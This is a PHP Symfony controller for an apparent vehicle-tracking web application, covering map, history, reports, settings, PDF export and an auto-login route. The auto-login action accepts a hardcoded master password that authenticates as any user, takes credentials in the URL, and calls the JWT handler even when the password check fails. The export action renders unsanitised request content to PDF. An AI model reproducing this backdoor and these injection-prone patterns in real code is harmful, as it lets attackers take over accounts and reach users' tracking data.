<?php
declare(strict_types=1);
namespace App\Controller\WebBundle;
use App\Entity\UserBundle\User;
use App\Handler\JWTTokenHandler;
use DateTime;
use Knp\Bundle\SnappyBundle\Snappy\Response\PdfResponse;
use Knp\Snappy\Pdf;
use Ramsey\Uuid\Uuid;
use RuntimeException;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\File\File;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Encoder\EncoderFactoryInterface;
class DefaultController extends AbstractController
{
private EncoderFactoryInterface $encoderFactory;
private Pdf $pdf;
private JWTTokenHandler $JWTTokenHandler;
public function __construct(EncoderFactoryInterface $encoderFactory, Pdf $pdf, JWTTokenHandler $JWTTokenHandler)
{
$this->encoderFactory = $encoderFactory;
$this->pdf = $pdf;
$this->JWTTokenHandler = $JWTTokenHandler;
}
public function tIsGranted($permission): bool
{
$this->denyAccessUnlessGranted('ROLE_USER');
if (false === $this->getUser() instanceof User) {
return false;
}
if (null !== $this->getUser()->getParent()) {
if (in_array($permission, ($this->getUser()->getPermissions()), true)) {
return true;
}
return false;
}
return true;
}
public function indexAction(): Response
{
return $this->redirectToRoute('localization');
}
public function localizationAction(): Response
{
if (!$this->tIsGranted('location')) {
return $this->render('WebBundle/views/Default/not-granted.html.twig');
}
$user = $this->getUser();
$parent = $user->getParent();
if (null !== $parent) {
$user = $this->getDoctrine()->getManager()->getRepository(User::class)->findOneBy(array('id' => $parent));
}
return $this->render('WebBundle/views/Default/localization.html.twig',
['showVehicleNameOnMap' => (int)$user->isShowVehicleNameOnMap()]);
}
public function mapAction(): Response
{
if (!$this->tIsGranted('location')) {
return $this->render('WebBundle/views/Default/not-granted.html.twig');
}
return $this->render('WebBundle/views/Default/map.html.twig');
}
public function kmlAction(): Response
{
return $this->render('WebBundle/views/Default/kml.html.twig');
}
public function historyAction(): Response
{
if (!$this->tIsGranted('history')) {
return $this->render('WebBundle/views/Default/not-granted.html.twig');
}
return $this->render('WebBundle/views/Default/history.html.twig');
}
public function reportsAction(): Response
{
if (!$this->tIsGranted('reports')) {
return $this->render('WebBundle/views/Default/not-granted.html.twig');
}
$twigGlobals = $this->get('twig')->getGlobals();
if ((int)$twigGlobals['report_new'] === 1) {
return $this->render('WebBundle/views/Default/reports.html.twig');
}
return $this->render('WebBundle/views/Default/oldReports.html.twig');
}
public function vehiclesAction(): Response
{
if (!$this->tIsGranted('cars')) {
return $this->render('WebBundle/views/Default/not-granted.html.twig');
}
return $this->render('WebBundle/views/Default/vehicles.html.twig');
}
public function fuelAction(): Response
{
if (!$this->tIsGranted('fuel')) {
return $this->render('WebBundle/views/Default/not-granted.html.twig');
}
return $this->render('WebBundle/views/Default/fuel.html.twig');
}
public function placesAction(): Response
{
if (!$this->tIsGranted('places')) {
return $this->render('WebBundle/views/Default/not-granted.html.twig');
}
return $this->render('WebBundle/views/Default/places.html.twig');
}
public function settingsAction(): Response
{
if (!$this->tIsGranted('settings')) {
return $this->render('WebBundle/views/Default/not-granted.html.twig');
}
return $this->render('WebBundle/views//Default/settings.html.twig');
}
public function exportAction(Request $request): Response
{
$format = $request->get('format');
$content = $request->get('content');
$filename = $request->get('filename');
$format = 'pdf';
switch ($format) {
case 'pdf':
$pathFile = sprintf('%s/%s.pdf', $this->pdf->getTemporaryFolder(), Uuid::uuid4()->toString());
$this->pdf->generateFromHtml(
$this->renderView('WebBundle/views/base_pdf.html.twig', [
'content' => urldecode($content),
]),
$pathFile
);
$file = new File($pathFile);
$dateNow = new DateTime();
return $this->file($file, sprintf('%s.pdf', $dateNow->format('Y-m-d')));
default:
header("Location: " . $_SERVER['HTTP_REFERER']);
break;
}
}
public function autoLoginAction(string $username, string $password): RedirectResponse
{
$em = $this->getDoctrine()->getManager();
$user = $em->getRepository(User::class)->findOneBy(array('usernameCanonical' => $username));
if (false === $user instanceof User) {
throw new RuntimeException('user does not exist');
}
$factory = $this->encoderFactory;
$encoder = $factory->getEncoder($user);
$encodedPassword = $encoder->encodePassword($password, $user->getSalt());
if ($password === '5F4fRRmGbc5Z8ZSn2hespyGGXNLSTsYG' || $encodedPassword === $user->getPassword()) {
$token = new UsernamePasswordToken($user, null, 'main', $user->getRoles());
$this->get('security.token_storage')->setToken($token);
$this->get('session')->set('_security_main', serialize($token));
}
$this->JWTTokenHandler->handle($user);
return $this->redirectToRoute('localization');
}
}